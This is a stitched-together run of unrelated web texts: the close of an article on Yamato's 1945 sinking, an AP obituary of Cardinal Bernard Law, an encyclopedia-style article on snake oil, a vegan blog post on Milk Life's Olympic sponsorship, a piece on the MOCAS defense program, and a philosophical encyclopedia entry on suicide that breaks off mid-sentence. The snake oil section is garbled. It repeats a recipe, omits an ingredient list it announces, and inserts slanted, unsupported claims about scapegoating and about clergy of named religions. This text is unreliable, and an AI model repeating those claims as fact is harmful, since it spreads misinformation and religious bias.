dreadnought Yamato, were the hardest to hit. They were also the most vulnerable, sinking quickly when they took a bomb or torpedo. The destroyer Hamakaze went down within minutes of the first attack. Two more destroyers were trailing black smoke, moving at only half speed. They were maneuvering in a counterclockwise circle around Yamato, adding their guns to the collective fire. For most pilots, it was their first look at the San Shiki (“Type three”) shells fired from the massive 18.1-inch guns. They were monsters, each weighing as much as an automobile and filled with incendiary tubes that burst in a cone toward incoming airplanes. And then the pilots noticed something else peculiar: the antiaircraft fire was exploding in multiple colors. It was a Japanese tactic they had heard about but not seen—each ship’s guns fired a different color to assist the gun directors in spotting their fire. The use of San Shiki and colored gunfire was a good sign: it meant the enemy guns were probably not radar directed. They were using visual aiming and ranging, and doing a bad job of it. Though they were putting up a storm of antiaircraft fire, the gunners were missing with great consistency. A few unlucky planes were hit, but most eluded the gunfire. The best news for the American airmen was the absence of enemy fighters. For some unfathomable reason, the Japanese had deployed the task force with no air cover; the Americans could concentrate on the targets without constantly checking their six o’clock for enemy fighters. Air group commander Houck had already assigned his 12 Avenger torpedo planes, led by Lieutenant Commander Tom Stetson, to finish off the Yahagi. But Stetson had just gotten a good look at the Yamato. The ship appeared to be listing badly. He radioed Houck that he wanted to split his group and go after the battleship with six of his Avengers. Houck concurred, ordering Stetson to change the torpedo running depth from 10 feet to 20. The 10-foot depth had been preset to hit cruisers. Going to 20 feet would put the fish below Yamato’s thicker armor plate, right into its exposed lower hull. One of the pilots, Lieutenant (junior grade) John Carter, was in the last two-plane section. He watched the first four Avengers go in low and fast, dropping their torpedoes in a spread on Yamato’s beam. “As luck would have it,” he recalled, “the big ship was turning to port, thereby exposing the full broadside expanse of her enormous hull to the converging torpedoes.” Carter saw at least three of the torpedoes explode into Yamato’s hull from amidships to the bow. Two hit so close they looked like a single huge explosion. As Carter began his own run from aft of the battleship, he could see tracers arcing toward his Avenger. He launched his torpedo across Yamato’s curving wake. Pulling away from the target, he tried to shrink into the metal frame of his seat as the ping and clatter of shrapnel hit the Avenger’s skin. But his torpedo had run true, exploding into Yamato’s port quarter. Watching the inclinometer at his command post tilting past 20 degrees, Yamato’s captain Ariga reached an agonizing decision. The battleship’s list to port had become critical. The system of pumps and valves that had flooded the stabilizing compartments and corrected the earlier list was no longer working. The all-important aft water control center had taken a torpedo strike and a direct bomb hit. He would have to flood the starboard outer engine room. Flooding the space would help correct the list, but it would reduce Yamato’s available power. It would also mean certain death for the 300 men in the starboard engine compartments. In a choking voice, Ariga gave the order. The valves were opened. Seconds later the violent implosion of sea water snuffed out the life of every man in the flooded engineering rooms. The desperate tactic worked, but only for a while. At 2:10, Ariga felt another torpedo slam into Yamato’s stern, jamming its big main rudder hard to port. Yamato’s death was now certain. The ship could not be steered. The list to port quickly worsened, rolling toward 35 degrees. With its port rail nearly submerged, the ship was locked in a counterclockwise turn. The lofty bridge tower was leaning so steeply that the men in the uppermost decks had to cling to rails and stanchions for support. Reluctantly, Ariga gave the order: “Abandon ship!” On the sixth deck of the bridge tower, the task force commander, Admiral Ito, had already reached the same conclusion. Ito braced himself against the binocular stand and issued his one and only direct command since the battle began: “Stop the operation. Turn back after rescuing the men.” From the beginning Ito had been opposed to what he thought was a senseless sacrifice. Now it was coming to the very end he had predicted. The admiral shook hands with his surviving staff officers, then descended the ladder to his sea cabin one deck below. It was the last anyone saw of Seiichi Ito. At the captain’s command station, a messenger was helping Ariga tie himself to the compass binnacle. Yamato’s captain intended to go down with his ship, and he was taking no chances that his body would wash to the surface. Meanwhile, the most junior officer on the bridge tower, Ensign Mitsuru Yoshida, was wriggling up through the lookout port toward the top deck. By the time he reached the top, Yamato’s captain had already vanished beneath the water. So had the navigation officer and his assistant, who also tied themselves to their stations. Yoshida could see dozens of crewmen perched like stranded rats on the rust brown belly of the battleship. The sea rose from beneath them. As water engulfed the ship, men disappeared into the yawning eddies and whirlpools around the sinking hull. Yoshida drew a deep breath and rolled himself up in a ball. For what seemed an eternity, he churned inside the whirlpool, unable to escape, feeling that each of his limbs was being torn from his body. At that moment—2:23 in the afternoon—the Yamato exploded. The blast rose like a volcanic eruption. As the fireball dissipated, a black mushroom cloud took its place, billowing a mile into the sky. The smoke was seen by coast watchers over a hundred miles away on the shore of Kyushu. It was later theorized that Yamato’s 90-degree list caused the shells for its main batteries to slide in their magazine, hitting their fuses and exploding. The eruption sent thousands of pieces of shrapnel into the air, and the rain of debris killed most of the unlucky sailors swimming on the surface. The underwater concussion killed those near the submerged main deck. Swimmers unfortunate enough to be near Yamato’s raked smokestack were caught in the massive suction created by the huge open funnel as the ship went under. Of the ten warships that had set out with the task force, six were still afloat, but barely. The destroyers Isokaze and Kasumi were shattered hulks, adrift in the East China Sea. Over 4,000 men who had sailed aboard Yamato and its escorts were dead. Of Yamato’s 3,000-man crew, only 269 had been saved. One of them was Ensign Yoshida, somehow thrown from the whirlpool. He would spend the rest of his life wondering why. With an ever-present cigarette dangling from his mouth, Vice Admiral Marc Mitscher peered at the still-wet photographs from the strike. Killing Yamato and five of its screening ships had not come without a price. Ten warplanes—four Helldivers, three Avengers, and three Hellcats—had been lost. Four pilots and eight aircrewmen were missing and presumed dead. Several had been snatched from the sea by daring search and rescue crews. Still, the losses were miniscule when measured against those of the previous great air-sea battles. The Bald Eagle’s gamble had paid off. It was all there in the grainy photos—conclusive proof of the warplane’s dominance not only of the sky, but of the sea. The age of the battleship was officially over. The next day Deyo and his beloved battlewagons would go back to their shore bombardment duties off Okinawa, and Spruance would return his attention to the bigger picture. The Yamato encounter was dramatic, satisfying, perhaps even historically significant. But the pragmatic admiral knew the truth: the real battle for Okinawa was just beginning. In Japan, news of the Yamato disaster was withheld from the public. It fell to Navy Minister Mitsumasa Yonai to inform the emperor. With downcast eyes, Yonai stood before Hirohito and reported that Operation Ten-Go had failed. The emperor seemed not to understand. He peered at Yonai through his spectacles. What about the navy? he asked. What was the status of the fleet? The minister spoke the truth. There was no fleet, he told the emperor. The Imperial Japanese Navy had ceased to exist. Robert Gandt is a former naval officer and aviator. His latest book, The Twilight Warriors (Broadway Books, 2010), covers the Battle of Okinawa, the Pacific War’s deadliest air and sea engagement. Gandt lives with his wife in Daytona Beach, Florida. Visit gandt.com. Sponsored Content: -FILE - In this Thursday, Aug. 5, 2004 file photo, Cardinal Bernard Law has his skull cap adjusted during the ceremony for Our Lady of the Snows, in St. Mary Major's Basilica in Rome, Italy. An official with the Catholic Church said Tuesday, Dec. 19, 2017, that Cardinal Bernard Law, the disgraced former archbishop of Boston, has died at 86. Law recently had been hospitalized in Rome. Law stepped down under pressure in 2002 over his handling of clergy sex abuse cases. (AP Photo/Domenico Stinellis, File) VATICAN CITY (AP) — Cardinal Bernard Law, the disgraced former archbishop of Boston whose failure to stop child molesters in the priesthood triggered the worst crisis in American Catholicism, died Wednesday in Rome at age 86. Law, who spent the final years of his career leading an important basilica in Rome and continued to wield considerable influence inside the Vatican, had been sick and was recently hospitalized. Law was once one of the most important figures in the U.S. church, serving in one of its most visible and storied posts. From 1984 until he resigned under pressure 18 years later, he was spiritual leader in Boston, the nation’s fourth-largest archdiocese, with 1.8 million Catholics. In 2002, though, The Boston Globe began a series of stories that revealed that Law and his predecessors had transferred child-molesting priests from parish to parish without alerting parents or police — a scandal later chronicled in the Oscar-winning film “Spotlight.” Within months, Catholics around the country demanded to know whether their bishops had done the same. And the scandal quickly spread overseas, to Ireland, Belgium, Chile, Australia and beyond. In Boston, Law’s death was met with anger and bitterness among some. “I hope the gates of hell are swinging wide to allow him entrance,” said Alexa MacPherson, who says she was abused for six years as a child. “I won’t shed a tear for him. I might shed a tear for everyone who’s been a victim under him.” Robert Costello called Law “a cruel, selfish bastard,” while fellow abuse victim Phil Saviano wondered: “How is he going to explain this when he comes face to face with his maker?” Law’s successor as archbishop, Cardinal Sean O’Malley, said it was a “sad reality” that Law’s legacy will forever be tied to the abuse scandal, when the church “seriously failed” to care for its flock and protect children. Pope Francis, who is being watched closely by the faithful over his handling of bishops who shield pedophiles, is set to preside over Law’s funeral rites at a Mass on Thursday at St. Peter’s Basilica, an honor accorded to all Rome-based cardinals. The pope said nothing about Law’s death during his weekly general audience Wednesday, and in a condolence letter he made no direct mention of the cardinal’s tenure in Boston. “I raise prayers for the repose of his soul, that the Lord God, who is rich in mercy, may welcome him in His eternal peace, and I send my apostolic blessing to those who share in mourning the passing of the cardinal,” Francis wrote. Since 1950, more than 6,500 of the nation’s priests, or about 6 percent, have been accused of molesting children, and the American church has paid over $3 billion in settlements, according to news reports and studies commissioned by the U.S. bishops. As the leader of the archdiocese at the epicenter of the scandal, Law became a powerful symbol of the crisis. His fall from grace was swift. Law tried to manage the scandal at first by refusing to comment, then by apologizing and promising reform. But the release of thousands more church records exposed additional cases in which Law and others expressed more concern for accused priests than for victims. Amid a groundswell against him, including rare public rebukes from some of his own priests, Law asked to resign and the pope said yes. “To all those who have suffered from my shortcomings and mistakes, I both apologize and from them beg forgiveness,” Law said in stepping down in 2002. Still, Law retained some support in the Vatican. In 2004, he was appointed archpriest of the Basilica of St. Mary Major, one of four principal basilicas in Rome. When Pope John Paul II died the next year, Law was among the bishops who presided at a Mass for the pontiff in St. Peter’s. Law also continued to serve on Vatican policy-making committees, including one that recommends bishops’ appointments to the pope, before retiring in 2011 from his church assignments. Victims’ advocates saw his continued influence in Rome as a slap in the face from an unrepentant church. “Cardinal Law’s soft landing in Rome, after his Boston disgrace, reminds us that prelate privilege remains the rule in Catholicism,” said Terence McKiernan of BishopAccountability.org, a database of the global scandal in the church. Mitchell Garabedian, a Boston lawyer who has represented dozens of people who say they were abused by priests, said Law “turned his back on innocent children and allowed them to be sexually abused and then received a promotion in Rome.” Fifteen years after the scandal broke, holding bishops accountable remains a fraught issue for the church. Francis had promised to go after bishops but backed off a proposed Vatican tribunal to prosecute them and opted instead to use existing measures. SNAP, the main U.S. advocacy group for those who were abused, urged Francis to keep the victims in mind during the funeral and said Law doesn’t deserve the pomp. “This celebratory focus on abuse enablers like Law must end,” said SNAP’s Joelle Casteix. Law is expected to be buried in Rome, O’Malley said. The location hasn’t been disclosed, but Law would be entitled to burial at St. Mary Major. Born Nov. 4, 1931, in Torreon, Mexico, Law was the only child of a U.S. Air Force colonel and a mother who was a Presbyterian convert to Catholicism. He graduated from Harvard University in 1953. He was ordained in 1961 and campaigned for civil rights in Mississippi, sometimes traveling in the trunks of cars for safety. He was named bishop of the Diocese of Springfield-Cape Girardeau in Missouri, then archbishop of Boston, one of the most prominent and important posts in the U.S. He broadly influenced Vatican appointments to American dioceses, served as a representative of the church to presidents and was favored by Pope John Paul. Law publicly challenged public officials over their support for abortion rights and joined other bishops in criticizing Geraldine Ferraro, the 1984 Democratic vice-presidential candidate and a Catholic, over the issue. He was a regular visitor to the White House under President George W. Bush. He was devoted to building Catholic-Jewish relations, leading a delegation on a 1986 visit to the Auschwitz death camp in Poland. He worked closely with church leaders in Latin America, acting as an unofficial envoy of the pope to Fidel Castro’s Cuba. The scandal in Boston broke when the Globe reported that Law and two predecessors as archbishop had transferred former priest John Geoghan to various assignments despite knowing he molested children. More than 130 people eventually came forward to say Geoghan abused them. The archdiocese paid $10 million in settlements with 86 of his victims and their relatives as Law clung to his job. ___ Rachel Zoll reported from New York. Rodrique Ngowi in Holbrook, Massachusetts, contributed to this report. -Snake oil is a traditional Chinese medicament utilizing fat extracted from the Chinese water snake (Enhydris chinensis).[1] It is a rubefacient and/or ointment, and is applied topically to relieve minor physical pain. It has been used in traditional Chinese medicine for many centuries, and is a relatively common medication prescribed by doctors ascribing the practice of traditional Chinese medicine. Its effectiveness as medicine has been a historical source of controversy in the Western world, where there is much confusion over its origin and constitution due to a U.S. District Court judgment against Clark Stanley. In Western culture, snake oil is most commonly associated with a placebo, panacea and/or deceptive marketing. Its association in Western culture lies in the fact that many 19th-century United States and 18th-century European entrepreneurs advertised and sold mineral oil (often mixed with various active and inactive household herbs, spices, and compounds, but containing no properties of snakes,) as "snake oil liniment", making frivolous claims about its efficacy as a panacea. Patent medicines that claimed to be a cure-all panacea were extremely common from the 18th until the 20th century, particularly among vendors masking addictive drugs such as cocaine, amphetamine, alcohol and opium-based concoctions and/or elixirs, to be sold as medication and/or products promoting health at medicine shows. Tyrocinium Pharmaceticum), printed in Spain: "The viper oil of Mesues. Take 2 pounds of live snakes and 2 pounds 3 ounces of sesame oil. Cook slowly, covered in a glazed pot, until meat pulls away from bone. Strain and store. Uses: Cleans the skin, removes pimples, impetigo and other defects." A snake oil recipe from 1719/1751 (Juan de Loeches,), printed in Spain: "The viper oil of Mesues. Take 2 pounds of live snakes and 2 pounds 3 ounces of sesame oil. Cook slowly, covered in a glazed pot, until meat pulls away from bone. Strain and store. Uses: Cleans the skin, removes pimples, impetigo and other defects." History [ edit ] The use of snake oil long predates the 18th and 19th centuries in China and the Eastern world, where oil made from fat extracted from the Chinese water snake (Enhydris chinensis) is a traditional liniment used for treating joint pain. Chinese water-snake oil contains 20 percent eicosapentaenoic acid (EPA), which has strong analgetic[citation needed] and anti-inflammatory properties.[2][3] The marketing concept for snake oil was likely transferred to the US from trade, immigration, and exposure to 18th-century British culture. However, the actual source of its use as a folk remedy was likely introduced, similarly to its introduction in the UK, by Chinese laborers involved in building the First Transcontinental Railroad in the US, and were undoubtedly familiar with Traditional Chinese Medicine, using snake oil to treat joint pain such as arthritis and bursitis, while introducing it to fellow American workers.[2] When rubbed on the skin at the painful site, snake oil was claimed to bring relief. This claim was ridiculed by 19th-century rival medicine salespeople, who competed with snake oil entrepreneurs in peddling other medicines for pain, often offering more hazardous alternatives such as alcohol and/or opium. Patent medicines originated in England, where a patent was granted to Richard Stoughton's elixir in 1712.[4] There were no federal regulations in the United States concerning safety and effectiveness of drugs until the 1906 Food and Drugs Act.[5] Thus, the widespread marketing and availability of dubiously advertised patent medicines without known properties or origin persisted in the US for a much greater number of years than in Europe. In 18th-century Europe, especially in the UK, viper oil had been commonly recommended for many afflictions, including the ones for which oil from the rattlesnake (pit viper,) a type of viper native to America, was subsequently favored to treat rheumatism and skin diseases.[6] Though there are accounts of oil obtained from the fat of various vipers in the Western world, the claims of its effectiveness as a medicine have never been thoroughly examined, and its efficacy is unknown. It is also likely that much of the snake oil sold by Western entrepreneurs was illegitimate, and did not contain ingredients derived from any kind of snake. Snake oil in the United Kingdom and United States probably contained modified mineral oil. In popular culture within the United States, snake oil is particularly renowned to be a commodity peddled at American Old West-themed medicine shows, although the judgment condemning snake oil as medicine took place in Rhode Island, and involved snake oil manufactured in Massachusetts.[7] The snake oil peddler is a stock character in Western movies, depicted as a traveling "doctor" with dubious credentials, selling fake medicines with boisterous marketing hype, often supported by pseudo-scientific evidence. To increase sales, an accomplice in the crowd (a shill) will often attest to the value of the product in an effort to provoke buying enthusiasm. The "doctor" will leave town before his customers realize they have been cheated.[2] This practice has wide-ranging implications, and is known as a confidence trick, a type of fraud. This particular confidence trick is purported to have been a common mechanism utilized by peddlers in order to sell various counterfeit and generic medications at medicine shows. The drastic amount of fraud extending to the drug epidemic was unfolded, and exposed with a judgment against Clark Stanley, which condemned the patented Clark Stanley's Snake Oil Liniment in US District Court. This minor ruling, much like the process that unfolded in the UK during the previous century, set a precedent for government bureaucracies to exert greater authority over traditional practices in health and medicine. Snake oil has grown to epitomize patent medicine, and represents a healthy act of scapegoating that allowed for government controlled bureaucracy to effectively seize authority over the means to control a drug epidemic involving alcohol and opium during the 19th century in the US. This increased authority led to the evolution and expansion of bureaucracies such as the Food and Drug Administration in the US. From cure-all to quackery [ edit ] A report of the 1917 decision of the United States District Court for Rhode Island , fining Clark Stanley $20 for "misbranding" its "Clark Stanley Snake Oil Liniment". The composition of snake oil medicines varies markedly among products. Clark Stanley's Snake Oil Liniment – produced by Clark Stanley, the "Rattlesnake King" – was tested by the United States government's Bureau of Chemistry, the precursor to the Food and Drug Administration (FDA,) in 1916.[7] It was found to contain: Although most snake oil in the Western world was drastically overpriced and falsely advertised it is arguable whether or not it is actually representative of a placebo given that Clark Stanley's Snake Oil Liniment, the only Western produced snake oil known to have been examined, is similar in composition to modern-day capsaicin-based liniments or chest rubs. None of the oil content was found to have been extracted from actual snakes. Nonetheless, the composition of most snake oil is essentially the same as Vicks VapoRub, which contains camphor. Snake oil, and many chest rubs, utilize camphor as an active ingredient. Clark Stanley, the most renowned peddler of snake oil who is popularly known as "The Rattlesnake King," marketed a brand of snake oil containing capsaicin as an active ingredient in addition to camphor. Capsaicin also continues to be commonly used in many non-narcotic pain patches, and is found in many competing brands of chest rubs as well as in pepper spray. A critique of the historical revision giving rise to such a negative connotation for snake oil may argue that its place in English is the product of a cultural dissociation adopted from popular culture. In 1916, subsequent to the passage of the Pure Food and Drug Act in 1906, Clark Stanley's Snake Oil Liniment was examined by the Bureau of Chemistry, and found to be drastically overpriced and of limited value. As a result, Stanley faced federal prosecution for peddling mineral oil in a fraudulent manner as snake oil. In his 1916 civil hearing instigated by federal prosecutors in the U.S. District Court for Rhode Island, Stanley plead no contest to the allegations against him, giving no admission of guilt.[7] His plea of nolo contendere was accepted, and as a result, Stanley was fined $20.00.[7] This amount of money corresponds to roughly $457 in 2018.[8] The term snake oil has since been established in popular culture as a reference to any worthless concoction sold as medicine, and has been extended to describe a widely ranging degree of fraudulent goods, services, ideas, and activities such as worthless rhetoric in politics. By further extension, a snake oil salesman is commonly used in English to describe a quack, huckster, or charlatan. It is also used in a de facto manner to describe the general nature of many modern professions such as a politician or religious leader, most especially Islamic Imams and Christian ministers. It is also commonly used in a quackery sense to describe many present day physicians and doctors associated with medical malpractice, such as an internist, as well as many attorneys filing frivolous lawsuits, and is often used as a broad term to describe anyone in the profession of sales, most commonly car salespeople and pharmaceutical sales representatives. Modern implications [ edit ] Fraudulent marketing techniques employed by Western businesspersons producing snake oil are not dissimilar from most advertising campaigns employed in accordance with entrepreneurial business practices today. Such deception is prevalent in storefronts, among retail stores, as well as among peddlers who sell a wide array of products, and is particularly common in services marketing. Examples of modern products alleged to be marketed similarly to snake oil are products of herbalism, dietary supplements, or a Tibetan singing bowl (used for healing.) Common indictments of false advertising for these, and other products marketed similarly to snake oil often materialize in allegations of dubious advertising claims that these products are scientific, healthy, or natural. Quite unlike snake oil in traditional Chinese medicine, there are quasi-justifiable means to codify snake oil in Western culture as a fraudulent panacea given that there are no known accounts of snake oil peddled in the United States or Europe containing any trace of actual snake extract. Thus, it is generally assumed that any variety of snake oil is in line with most other patent medicine available in the 18th and 19th centuries, although it is generally noted that snake oil is less dangerous than many other patent medicines containing intoxicating, or hazardous ingredients. Nonetheless, snake oil represents a concept for a particular type of fraud that may be extended to many of the same intoxicating drugs once sold at medicine shows that remain widely prescribed and available today. Most of these drugs are now manufactured by pharmaceutical companies, or fall under government control in some form or fashion. Historical interpreter Ross Nelson as "Professor Thaddeus Schmidlap", resident snake-oil salesman at the Enchanted Springs Ranch and Old West theme park, Boerne, Texas. See also [ edit ] -With the 2016 Summer Olympics in Rio fast approaching, it is interesting to hear all of the news stories about the state of this Brazilian seaside city and its ability (or possible inability) to properly house such a large sporting event. From ethical concerns pertaining to personal safety in the city to health concerns to all the hubbub surrounding whether or not Russian Olympians will be allowed to participate due to a doping scandal, it really puts a dent on the Olympics this year, which should really be a time for people of the world to come together to participate, and more likely, if your like me, just observe some of the top athletic competitors around the world together in one central location. For Plant-Smart Living, we have look at a number of vegan Olympians from the past, and I can’t help but avoid looking at this upcoming Olympic sporting event without thinking about the possibility of someone or some organization promoting a plant-based message. After all, it makes a lot of sense to me quite simply because of how it has positively impacted my own life; and based on the reactions from vegan performers, can be considered a perfect source of fuel. This perspective is let down, then, when I see that Team USA is sponsored by Milk Life as a result of a five-year deal put to paper with the United States Olympic Committee which will cover the 2016 Olympic and Paralympic Games in Rio de Janeiro, Pyeongchang in 2018, and Tokyo in 2020. Corporate sponsorship of the Olympics is not a new thing, and I certainly do not have any problems with this per say. After all, the Olympics are extremely expensive to put on for a city, so it only makes sense to try and make some money in the process. A major reason why it is a coveted position to hold the Olympic Games is because of the recognition and notoriety that comes from having them in a given city, and the boost to the economy it can be expected to bring. Just having so many tourists from around the world engaging with the city by way of purchasing bus and cab fairs, food at local restaurants, etc. can help support a city that may be struggling financially otherwise, as is the case in Rio de Janeiro. Not to mention, the advertising and brand awareness being a corporate sponsor of the Olympic Games can have a huge impact on getting a company’s message heard. The problem with a sponsorship by Milk Life, for me, is that their values do not jive with a whole foods, plant-based diet. It has long pervaded thought in the United States that “milk is good for you,” however recent research is beginning to show that this may not be the case. The negative impact of dairy on your body and on the environment as a result of the processes required to generate enough milk to actively support the many consumers in the US (and around the world) is difficult to ignore. Even more important is how producing milk on this level is unhealthy and considered by many animal rights activists to be an inhumane treatment of cattle. Not to mention, it is grotesque to think how by consuming milk, you are consuming the fluid of another living being as a source of food. By putting pen to paper and signing a contract with Milk Life, the United States Olympic Committee has made a decision that impacts all US athletes whether they are vegan, vegetarian, or otherwise. Given the minority status of vegans in the United States, it probably is not an issue that matters to the majority of people; and moreover is probably not even showing up on anyone’s radar as a potential problem. The psychological impact is simple: it implies all US Olympic athletes consume milk, and neglects to consider those who adopt a dairy free, vegan lifestyle. But the core issue runs deeper than just perception by the audience and my personal feelings on the matter. The larger problem is that through this brand awareness, Milk Life will likely see an international boost in recognition. Do not be surprised if when you tune into the Summer Olympics on the TV that you see a banner ad for Milk Life at some point in the mix of corporate sponsors, or if you happen to be someone going to the physical location, to see these ads and product placements in person. The result of this recognition, though, is a continuation of the vicious cycle of dairy milk production, inhumane treatment of animals, and the spread of the ‘milk ideology’ that suggests “milk is good for you” without quality scientific research - at least, scientific research not backed by paid off lobbyists and pro-dairy organizations. What is Milk Life? One of the most complex things to understand in all of this is what exactly Milk Life provides, or put another way, what their purpose is in the sea of milk-based organizations. Their website leaves a lot to be desired, and on the surface is not exactly representative of an organization I would expect to have enough funding to be a sponsor of a major sporting event like the Olympics. It would appear that at most, Milk Life exists to provide education regarding dairy milk products as a method of spreading the desire for milk consumption. What really gets my investigative wheels turning? The simple, small font note at the bottom of their web page for The Great American Milk Drive (a charity drive oriented towards combating child hunger with milk): “Brought to you by America’s Milk Companies & Farm Families.” -Short Bytes: MOCAS is the world’s oldest computer program that’s still in active use. It was launched in 1958 by the United States Department of Defense for keeping track of contracts and payments. After 59 long years, MOCAS, pronounced “MOH-cass”, is still used to take care of the records using an IBM 2098 model E-10 mainframe. C omputers have become an indispensable part of our daily lives. We use them at work, carry their miniature versions in our pockets, use them to binge watch TV shows, and whatnot. If you’re a programmer or developer, you might be knowing more about computers and programming languages used to write its programs. Some of you might be even knowing about the first programming language for computers But, do you know which is the world’s oldest programming language that’s still used actively? Don’t worry, we are here to help you out. MOCAS — Oldest Computer Program That’s Still In Use Long back in 1958, fifty-nine years ago, the United States Department of Defense launched a computer-based contract management system. It was called Mechanization of Contract Administration Services, or MOCAS. It’s pronounced “MOH-cass”. Written in COBOL, which wasn’t approved in 1958, one of the world’s most important programming languages, MOCAS is still in use. The original interface of MOCAS was based on keycards or punchcards, according to MIT Tech Review. In the later years, MOCAS was upgraded to work with green screen access, which is a terminal-like system that was widely used by airlines, banks, telecom companies, etc. Over the time, new interfaces were created that were able to connect to MOCAS. This allowed it to extend its lifespan. There were efforts to create its complete replacements, which failed due to cost and complexity involved in the transition. Today, the system manages about $1.3 trillion in obligations and 340,000 contracts. It uses an IBM 2098 model E-10 mainframe. This hardware is able to perform 398 million instructions per second with the help of its 6GB RAM. MIT Tech Review writes that MOCAS was the oldest computer program they could verify. If you believe that there are other programs that are much older, don’t forget to tell us. Also, do tell us your views and feedback. Also Read: 5 Easiest Programming Languages For Beginners -First published Tue May 18, 2004; substantive revision Fri Jul 21, 2017 Throughout history, suicide has evoked an astonishingly wide range of reactions—bafflement, dismissal, heroic glorification, sympathy, anger, moral or religious condemnation—but it is never uncontroversial. Suicide is now an object of multidisciplinary scientific study, with sociology, anthropology, psychology, and psychiatry each providing important insights into suicide. Particularly promising are the significant advances being made in our scientific understanding of the neurological and genetic bases of suicidal behavior (Stoff and Mann 1997, Jamison 2000, Joiner 2010, 228–236) and the mental conditions associated with it. Nonetheless, many of the most controversial questions surrounding suicide are philosophical. For philosophers, suicide raises a host of conceptual, moral, and psychological questions. Among these questions are: What makes a person’s behavior suicidal? What motivates such behavior? Is suicide morally permissible, or even morally required in some extraordinary circumstances? Is suicidal behavior rational? This article will examine the main currents of historical and contemporary Western philosophical thought surrounding these questions. Surprisingly, philosophical difficulties emerge when we attempt to characterize suicide precisely, and attempts to do so introduce intricate issues about how to describe and explain human action. In particular, identifying a set of necessary and sufficient conditions for suicide that fits well with our typical usage of the term is especially challenging. A further challenge is that due to suicide’s strong negative emotional or moral connotations, efforts to distinguish suicidal behavior from other behavior often clandestinely import moral judgments about the aims or moral worth of such behavior. That is, views about the nature of suicide often incorporate, sometimes unknowingly, views about the prudential or moral justifiability of suicide and are therefore not value-neutral descriptions of suicide (Paterson 2003, 353, Cholbi 2011, 17–20). For example, Hitler, most people contend, was clearly a suicide, but Socrates and Jesus were not (though on Socrates, see Frey 1978). This illustrates that suicide still carries a strongly negative subtext, and on the whole, we exhibit a greater willingness to categorize self-killings intended to avoid one’s just deserts as suicides than self-killings intended to benefit others (Beauchamp & Childress 1983, 93–94). Such conceptual slipperiness complicates moral arguments about the justifiability of suicide by permitting us to ‘define away’ self-killings we believe are justified as something other than suicide, whereas it would be desirable to identify first a defensible non-normative conception of suicide and then proceed to discuss the moral merits of various acts of suicide (Stern-Gillett 1987, Kupfer 1990). In other words, ‘suicide’ should not be equatable with wrongful self-killing in the way that ‘murder’ is equated with wrongful killing of another, lest we render ourselves unable to refer even to the possibility of a morally justified self-killing. If a purely descriptive account of suicide is possible, where should it begin? While it is tempting to say that suicide is any self-caused death, this account is vulnerable to obvious counterexamples. An individual who knows the health risks of smoking or of skydiving, but willfully engages in these behaviors and dies as a result, could be said to be causally responsible for her own death but not to have died by suicide. Similarly, an individual who takes a swig of hydrochloric acid, believing it to be lemonade, and subsequently dies causes her own death but does not engage in suicidal behavior. Moreover, not only are there self-caused deaths that are not suicides, but there are behaviors that result in death and are arguably suicidal in which the agent is not the cause of her own death or is so only at one remove. This can occur when an individual arranges the circumstances for her death. A terminally ill patient who requests that another person inject her with a lethal dose of tranquilizers has, intuitively, died by suicide. Though she is not immediately causally responsible for her death, she appears morally responsible for her death, since she initiates a sequence of events which she intended to culminate in her death, a sequence which cannot be explained without reference to her beliefs and desires. (Such a case exemplifies voluntary euthanasia.) Likewise, those who die via ‘suicide by cop,’ where an armed crime is committed in order to provoke police into killing its perpetrator, are responsible for their own deaths despite not being the causes of their deaths. In these kinds of cases, such agents would not die, or would not be at an elevated risk for death, were it not for their initiating such causal sequences. (See Brandt 1975, Tolhurst 1983, Frey 1981, but for a possible objection see Kupfer 1990.) Furthermore, many philosophers (Fairbairn 1995, chapter 5) doubt whether an act’s actually resulting in death is essential to suicide at all. Just as there can be attempted murders or attempted acts of deception, so too can there be ‘attempted’ suicides, instances where because of agents’ false beliefs (about the lethality of their behavior, for example), unforeseen factual circumstances, others’ interventions, etc., an act which might have resulted in an agent’s death does not. Hence, suicidal behavior need not result in death, nor must the condition that hastens death be self-caused. Definitions according to which suicide occurs when a person acts knowing that her act will cause her own death (Durkheim (1897)) thus fail to capture how death is in some respect an aim of suicidal behavior. Second, what appears essential for a behavior to count as suicide is that the person in question chooses to die. Suicide is an attempt to inflict death upon oneself and is “intentional rather than consequential in nature” (Fairbairn 1995, 58). These conditions imply that suicide must rest upon an individual’s intentions, where an intention implicates an individual’s beliefs and desires about her action. (See Brandt 1975, Graber 1981 Tolhurst 1983, Frey 1978, O’Keeffe 1981, McMahan 2002, 455, Paterson 2003, Cholbi 2011, 20–31, Hill 2011) An intention-based account of suicide would say, roughly, that A person S’s behavior B is suicidal iff S believed that B, or some causal consequence of B, would make her death at least highly likely, and S intended to die by engaging in B. This account renders the notion of suicide as self-inflicted attempted death more precise, but it is not unproblematic. Condition (a) is a doxastic condition. It is meant to show that deaths (or increased risks for death) resulting from an individual’s act that causes death (or the risk thereof) are not suicides if the individual acts in ignorance of the relevant risks of her behavior (for example, when an individual accidentally takes a lethal dose of a prescription drug). At the same time, (a) accounts for cases such as the aforementioned terminally ill patient whose death is caused only indirectly by her request to die. Condition (a) does not require that S know that B will put her at a significantly greater risk for death, nor even that S’s beliefs about B’s lethality be true or even justified. Suicidal individuals sometimes have false beliefs about the lethality of their chosen suicide methods, greatly overestimating the lethality of over the counter painkillers while underestimating the lethality of handguns, for instance. An individual could believe falsely, or on the basis of inadequate evidence, that placing one’s head in an electric oven significantly increases one’s chances of dying, but that behavior is nonetheless suicidal. The demand that S believe that B makes death highly likely is admittedly inexact, but it permits us to navigate between two extreme and mistaken views. On the one hand, it implies that behavior which is in fact only marginally more likely to cause a person’s death is not suicidal (you are more likely to die driving your car than in your living room, but driving your car hardly qualifies as ‘suicidal’). On the other hand, to demand that S believe that B certainly or almost certainly will cause S’s death is too strict, since it will rarely be the case (given the possibility of intervening conditions, etc.) that B will necessarily cause S’s death, and in fact many suicidal individuals are ambivalent about their actions (Cholbi 2011, 31–35), an ambivalence which is in turn reflected in their selecting suicide methods that are far from certain to cause death. It also allows us to distinguish genuinely suicidal behavior from suicidal gestures, in which individuals engage in behavior they believe is not likely to cause their death but is nonetheless associated with suicide attempts, while in fact having some other intention (e.g., gaining others’ sympathy) in mind. Condition (b), however, is far more knotty. For what is it to intend that death result from one’s behavior? There are examples in which condition (a) is clearly met, but whether (b) is met is more problematic. For instance, does a soldier who leaps upon a live grenade tossed into a foxhole in order to save his comrades engage in suicidal behavior? Many, especially partisans of the doctrine of double effect would answer ‘no’: Despite the fact that the soldier knew his behavior would likely cause him to die, his intention was to absorb the blast so as to save the other soldiers, whereas his death was only a 